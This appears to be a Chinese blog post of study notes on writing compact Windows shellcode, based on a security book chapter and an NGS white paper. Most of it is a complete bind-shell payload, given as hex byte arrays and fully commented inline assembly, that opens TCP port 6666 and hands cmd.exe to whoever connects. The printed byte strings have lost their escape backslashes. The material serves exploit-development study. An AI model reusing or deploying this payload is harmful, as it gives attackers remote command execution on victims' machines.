zoukankan      html  css  js  c++  java
  • OD: Writing Small Shellcode

    第 5.6 节讲述如何精简 shellcode,并实现一个用于端口绑定的 shellcode。原书中本节内容来自于 NGS 公司的安全专家 Dafydd Stuttard 的文章 “Writing Small Shellcode”

    使用短小的指令

    下面是一些非常有用的单字节指令

    xchg  eax,reg    交换 eax 和其他寄存器的值
    lodsd            将 esi 指向的一个 dword 装入 eax,并增加/减少 esi
    lodsb            将 esi 指向的一个 byte 装入 al,并增加/减少 esi
    stosd            将 eax 的值存入 edi 指向的地址中,并增加/减少 edi
    stosb            将 al 的值存入 edi 指向的地址中,并增加/减少 edi
    pushad/popad     从栈中存储/恢复所有寄存器的值
    cdq              用 edx 把 eax 扩展成四字,在 eax 小于 0x80000000 时等价于 mov edx,NULL

    注意,以上操作中的增加/减少 reg,需要根据调和标志具体分析是递增还是递减。intel 默认是递增。

    xchg、lods、stos 这些复合指令常常可以完成多个目的,事半功倍。

    x86 功能相同或相似的指令长度可能相差很大,所以善于选用短小的指令。例如:

    d0 c1          ; rol cl,1
    c0 c1 0x02     ; rol cl,2
    66 cl cl 0x02  ; rol cx,2

    善用内存、寄存器和 HASH

    对于参数中有大量 NULL 的 API,可以先初始化一片内存为 NULL,之后仅需存入非 NULL 的参数并调用 API,节省压栈指令。

    有些 API 需要很大的结构体做参数,大多数健壮的 API 允许参数中的两个结构体重合,特别是一个作输入参数一个作输出参数的时候,将这两个结构体重合也能正常执行。这时只要 push esp 就可以省去初始化输入参数结构体的麻烦。

    很多 Windows 的 API 要求参数是特定的数据类型或者特定区间的取值,但实验可以发现健壮的函数对于非法参数也能正确处理。例如当参数中有结构体指针和指明结构体大小的数值时,只要数值足够大,函数就能正确执行。这时,内存中的内容(哪怕是代码),只要够大,就能直接用,节省压栈操作。

    在编译器看来,系统栈仅仅是保护函数断点、暂存函数参数和返回值的地方,但开发 shellcode 时需要更多想像力。栈顶之上的数据逻辑上已经作废,但物理内容往往保存完好,这里只要抬高栈顶就能变废为宝。

    按照调用约定,调用 API 时有些寄存器一直被保存在栈中(EBP、ESI、EDI 等)。可以把函数调用信息保存在寄存器中而不是栈中。比如大多数 API 执行过程中都不会用到 EBP,故可以用 EBP 来保存数据,而不是把数据保存在栈中。

    x86 的指令有自己特殊用途,有的指令只能用特定寄存器,有的用特定寄存器时的机器码比用其他寄存器短。另外,如果寄存器中有函数调用需要的参数,可以用时保存到栈里,避免之后的重复取值过程。

    实用的 shellcode 往往需要 200-300 字节的机器码,所以对原始的 shellcode 进行压缩或编码是很划算的,比如之前用到的函数名 hash digest。

    而进行 hash 等计算时,如果计算结果正好是类似 0x90 的准 NOP 指令(准 NOP 不要求一定是 0x90,也可以是相对于上下文而言的不相关操作,比如当 ECX 不影响工作时,INC ECX 就可以当作 NOP),则可以把这些计算结果放在 shellcode 的头部,省去跳过这段数据的跳转指令,让处理器把数据当代码执行。总之,为了开发优秀的 shellcode,可以 “不择手段”。

    优化 HASH 算法、定位 API

    实现 bindshell 需要的 API 如下:

    kernel32.dll :  LoadLibraryA、CreateProcessA、ExitProcess

    ws2_32.dll  :  WSAStartup(初始化 WinSock)、WSASocketA(创建 WinSock)、bind、listen、accept(处理外部连接)

    只要在搜索 kernel32.dll 和 ws2_32.dll 时能避免哈希碰撞(如果发生碰撞,只要碰撞的第一个点就是所需目标也能接受——碰撞容忍)。考虑到碰撞容忍,kernel32.dll 中导出的 900 多个函数,只要精心选择,hash 值到 8bit 也能接受。

    实现的 Hash 算法要求:正确工作、Hash 值短小、Hash 算法短小。

    可以被双字节指令实现的 hash 算法中,有 6 种符合基本条件,6 种中有 1 种符合代码和数据重叠(碰撞容忍)要求。书中经过人工筛选使用如下 hash 算法(可用于出书时的所有基于 NT 的 Windows 版本,后续使用需要重新审查碰撞容忍)

    1 ; esi 指向 hash 计算的函数名, edx 初始化为 null
    2 hash_loop:
    3     lodsb                ; load byte to al from func_name, esi++
    4     xor    al,0x71
    5     sub    dl,al
    6     cmp    al,0x71
    7 jne hash_loop

    以上 hash 计算的所需 API 结果如下:

    函数名 hash digest 等价的准 NOP
    LoadLibraryA 0x59 pop ecx
    CreateProcessA 0x81 or ecx, 0x203062D3
    ExitProcess 0xC9
    WSAStartup 0xD3
    WSASocketA 0x62
    bind 0x30
    listen 0x20
    accept 0x41 inc ecx

    调用 CreateProcessA() 时,需要 cmd.exe 作为参数,已知调用不需要 exe 后缀,并且参数大小写不敏感,即 CmD、cMD 等价。参数 CMd 符合准 NOP 要求:

    ASCII    opcode    function
    ---------------------------
    C        0x43       inc ebx
    M        0x4D       dec ebp
    d        0x64       FS:             ; 取址前缀 FS 被处理器忽略

    最终的 shellcode 如下( xp 下试验成功)

      1 /*****************************************************************************
      2       To be the apostrophe which changed "Impossible" into "I'm possible"!
      3         
      4 POC code of chapter 5.6 in book "Vulnerability Exploit and Analysis Technique"
      5  
      6 file name    : bindshell.c
      7 author        : failwest  
      8 date        : 2006.12.11
      9 description    : used to generate PE file and extracted machine code
     10 Noticed        : assume EAX point to the beginning of shellcode
     11                 can't be executed directly
     12                 have to be loaded by shellcode loader
     13 version        : 1.0
     14 E-mail        : failwest@gmail.com
     15 reference    :"Writing Small Shellcode", Dafydd Stuttard, NGS white paper, 2005.9.19
     16           http://www.nextgenss.com/research/papers/WritingSmallShellcode.pdf
     17         
     18     Only for educational purposes    enjoy the fun from exploiting :)
     19 ******************************************************************************/
     20 
     21 #define DEBUG 1
     22 
     23 char bs_win7[]=
     24 "x59x81xC9xD3x62x30x20x41x43x4Dx64x99x96x8Dx7ExE8x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx09x8Bx69"
     25 "x08xB6x03x2BxE2x66xBAx33x32x52x68x77x73x32x5Fx54xACx3CxD3x75x06x95xFFx57xF4x95x57x60x8Bx45x3Cx8B"
     26 "x4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99xACx34x71x2AxD0x3Cx71x75xF7x3Ax54x24x1C"
     27 "x75xEAx8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3BxF7x75xB4x5Ex54x6Ax02"
     28 "xADxFFxD0x88x46x13x8Dx48x30x8BxFCxF3xABx40x50x40x50xADxFFxD0x95xB8x02xFFx1Ax0Ax32xE4x50x54x55xAD"
     29 "xFFxD0x85xC0x74xF8xFEx44x24x2Dx83xEFx6CxABxABxABx58x54x54x50x50x50x54x50x50x56x50xFFx56xE4xFFx56"
     30 "xE8";
     31 
     32 char bs_xp[]=
     33 "x59x81xC9xD3x62x30x20x41x43x4Dx64x99x96x8Dx7ExE8x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx69x08xB6"
     34 "x03x2BxE2x66xBAx33x32x52x68x77x73x32x5Fx54xACx3CxD3x75x06x95xFFx57xF4x95x57x60x8Bx45x3Cx8Bx4Cx05"
     35 "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99xACx34x71x2AxD0x3Cx71x75xF7x3Ax54x24x1Cx75xEA"
     36 "x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3BxF7x75xB4x5Ex54x6Ax02xADxFF"
     37 "xD0x88x46x13x8Dx48x30x8BxFCxF3xABx40x50x40x50xADxFFxD0x95xB8x02xFFx1Ax0Ax32xE4x50x54x55xADxFFxD0"
     38 "x85xC0x74xF8xFEx44x24x2Dx83xEFx6CxABxABxABx58x54x54x50x50x50x54x50x50x56x50xFFx56xE4xFFx56xE8";
     39 
     40 int main()
     41 {
     42 #if(DEBUG)
     43     __asm{
     44         nop
     45         nop
     46         nop
     47         nop
     48         lea eax,bs_xp
     49         push eax
     50         ret
     51     }
     52 #else
     53     __asm{
     54             nop
     55             nop
     56             nop
     57             nop
     58             nop
     59         ; start of shellcode 
     60         ; assume: eax points here 
     61         ; function hashes (executable as nop-equivalent) 
     62             _emit 0x59     ; LoadLibraryA ; pop ecx 
     63             _emit 0x81     ; CreateProcessA ; or ecx, 0x203062d3 
     64             _emit 0xc9     ; ExitProcess 
     65             _emit 0xd3     ; WSAStartup 
     66             _emit 0x62     ; WSASocketA 
     67             _emit 0x30     ; bind 
     68             _emit 0x20     ; listen 
     69             _emit 0x41     ; accept ; inc ecx 
     70 
     71         ; "CMd" 
     72             _emit 0x43     ; inc ebx 
     73             _emit 0x4d     ; dec ebp 
     74             _emit 0x64     ; FS: 
     75         
     76         ; start of proper code 
     77             cdq                     ; set edx = 0 (eax points to stack so is less than 0x80000000) 
     78             xchg eax, esi           ; esi = addr of first function hash 
     79             lea edi, [esi - 0x18]   ; edi = addr to start writing function 
     80                                     ; addresses (last addr will be written just 
     81                                     ; before "cmd") 
     82             
     83         ; find base addr of kernel32.dll 
     84             mov ebx, fs:[edx + 0x30]    ; ebx = address of PEB 
     85             mov ecx, [ebx + 0x0c]       ; ecx = pointer to loader data 
     86             mov ecx, [ecx + 0x1c]   ; ecx = first entry in initialisation order list 
     87             mov ecx, [ecx]          ; ecx = second entry in list (kernel32.dll) 
     88             //mov ecx, [ecx]        ; for win7
     89             mov ebp, [ecx + 0x08]   ; ebp = base address of kernel32.dll 
     90             
     91         ; make some stack space 
     92             mov dh, 0x03            ; sizeof(WSADATA) is 0x190 
     93             sub esp, edx 
     94             
     95         ; push a pointer to "ws2_32" onto stack 
     96             mov dx, 0x3233          ; rest of edx is null 
     97             push edx 
     98             push 0x5f327377 
     99             push esp 
    100 
    101             
    102         find_lib_functions: 
    103             lodsb                   ; load next hash into al and increment esi 
    104             cmp al, 0xd3            ; hash of WSAStartup - trigger 
    105                                     ; LoadLibrary("ws2_32") 
    106             jne find_functions 
    107             xchg eax, ebp           ; save current hash 
    108             call [edi - 0xc]        ; LoadLibraryA 
    109             xchg eax, ebp           ; restore current hash, and update ebp 
    110                                     ; with base address of ws2_32.dll 
    111             push edi                ; save location of addr of first winsock function 
    112             
    113         find_functions: 
    114             pushad                      ; preserve registers 
    115             mov eax, [ebp + 0x3c]       ; eax = start of PE header 
    116             mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table 
    117             add ecx, ebp                ; ecx = absolute addr of export table 
    118             mov ebx, [ecx + 0x20]       ; ebx = relative offset of names table 
    119             add ebx, ebp                ; ebx = absolute addr of names table 
    120             xor edi, edi                ; edi will count through the functions 
    121 
    122             
    123         next_function_loop: 
    124             inc edi                     ; increment function counter 
    125             mov esi, [ebx + edi * 4]    ; esi = relative offset of current function name 
    126             add esi, ebp                ; esi = absolute addr of current function name 
    127             cdq                         ; dl will hold hash (we know eax is small) 
    128             
    129         hash_loop: 
    130             lodsb                       ; load next char into al and increment esi 
    131             xor al, 0x71                ; XOR current char with 0x71 
    132             sub dl, al                  ; update hash with current char 
    133             cmp al, 0x71                ; loop until we reach end of string 
    134             jne hash_loop 
    135             cmp dl, [esp + 0x1c]        ; compare to the requested hash (saved on stack from pushad) 
    136             jnz next_function_loop 
    137             
    138                                         ; we now have the right function 
    139             
    140             mov ebx, [ecx + 0x24]       ; ebx = relative offset of ordinals table 
    141             add ebx, ebp                ; ebx = absolute addr of ordinals table 
    142             mov di, [ebx + 2 * edi]     ; di = ordinal number of matched function 
    143             mov ebx, [ecx + 0x1c]       ; ebx = relative offset of address table 
    144             add ebx, ebp                ; ebx = absolute addr of address table 
    145             add ebp, [ebx + 4 * edi]    ; add to ebp (base addr of module) the 
    146                                         ; relative offset of matched function 
    147             xchg eax, ebp               ; move func addr into eax 
    148             pop edi                     ; edi is last onto stack in pushad 
    149             stosd                       ; write function addr to [edi] and increment edi 
    150             push edi 
    151             popad                       ; restore registers 
    152             cmp esi, edi                ; loop until we reach end of last hash 
    153             jne find_lib_functions 
    154             pop esi                     ; saved location of first winsock function 
    155                                         ; we will lodsd and call each func in sequence 
    156             
    157         ; initialize winsock 
    158             
    159             push esp                       ; use stack for WSADATA 
    160             push 0x02                      ; wVersionRequested 
    161             lodsd 
    162             call eax                       ; WSAStartup 
    163             
    164         ; null-terminate "cmd" 
    165             mov byte ptr [esi + 0x13], al  ; eax = 0 if WSAStartup() worked 
    166             
    167         ; clear some stack to use as NULL parameters 
    168             lea ecx, [eax + 0x30]       ; sizeof(STARTUPINFO) = 0x44, 
    169             mov edi, esp 
    170             rep stosd                   ; eax is still 0 
    171         
    172         ; create socket 
    173             inc eax 
    174             push eax                    ; type = 1 (SOCK_STREAM) 
    175             inc eax 
    176             push eax ; af = 2 (AF_INET) 
    177             lodsd 
    178             call eax ; WSASocketA 
    179             xchg ebp, eax               ; save SOCKET descriptor in ebp (safe from 
    180                                         ; being changed by remaining API calls) 
    181             
    182         ; push bind parameters 
    183             mov eax, 0x0a1aff02         ; 0x1a0a = port 6666, 0x02 = AF_INET 
    184             xor ah, ah                  ; remove the ff from eax 
    185             push eax                    ; we use 0x0a1a0002 as both the name (struct 
    186                                         ; sockaddr) and namelen (which only needs to 
    187                                         ; be large enough) 
    188             push esp                    ; pointer to our sockaddr struct 
    189             
    190         ; call bind(), listen() and accept() in turn 
    191         call_loop: 
    192             push ebp                    ; saved SOCKET descriptor (we implicitly pass 
    193                                         ; NULL for all other params) 
    194             lodsd 
    195             call eax                    ; call the next function 
    196             test eax, eax               ; bind() and listen() return 0, accept() 
    197                                         ; returns a SOCKET descriptor 
    198             jz call_loop 
    199             
    200         ; initialise a STARTUPINFO structure at esp 
    201             inc byte ptr [esp + 0x2d]     ; set STARTF_USESTDHANDLES to true 
    202             sub edi, 0x6c                 ; point edi at hStdInput in STARTUPINFO 
    203             stosd                     ; use SOCKET descriptor returned by accept 
    204                                       ; (still in eax) as the stdin handle 
    205             stosd                     ; same for stdout 
    206             stosd                     ; same for stderr (optional) 
    207             
    208         ; create process 
    209             pop eax             ; set eax = 0 (STARTUPINFO now at esp + 4) 
    210             push esp            ; use stack as PROCESSINFORMATION structure 
    211             ; (STARTUPINFO now back to esp) 
    212             push esp          ; STARTUPINFO structure 
    213             push eax          ; lpCurrentDirectory = NULL 
    214             push eax          ; lpEnvironment = NULL 
    215             push eax          ; dwCreationFlags = NULL 
    216             push esp          ; bInheritHandles = true 
    217             push eax          ; lpThreadAttributes = NULL 
    218             push eax          ; lpProcessAttributes = NULL 
    219             push esi          ; lpCommandLine = "cmd" 
    220             push eax          ; lpApplicationName = NULL 
    221             call [esi - 0x1c] ; CreateProcessA 
    222             
    223         ; call ExitProcess() 
    224             call [esi - 0x18] ; ExitProcess
    225             nop
    226             nop
    227             nop
    228             nop
    229             nop
    230     }
    231 #endif
    232     return 0;
    233 }

    1. 这段 shellcode 执行前须约定 eax 指向 opcode 的开始。

    代码写的很精炼,充分运用了本节进到的各种技巧。如果以后不看原书说明也能通过调试发现代码的精妙之处,则能力将比现在飞跃不少。

    2. 利用前篇动态定位 API 时所用的方法(见上面代码第 88 行)修改后在 Win7 下实验不成功,实验时连第 103 行的 lodsb 结果都不正确(AL 被修改为 0xCC),不知道为何,先留下问题待以后有空再调。

  • 相关阅读:
    淘宝网的质量属性分析
    软件架构师如何工作
    软件需求管理用例方法三
    软件需求管理用例方法二
    git使用教程
    javascript获取鼠标点击位置的坐标兼容写法
    ES5中数组的方法
    JavaScript数组常用方法
    JavaScript中for..in循环陷阱介绍
    【转】web前端开发必知必会(面试、笔试可能用到)
  • 原文地址:https://www.cnblogs.com/exclm/p/3675989.html
Copyright © 2011-2022 走看看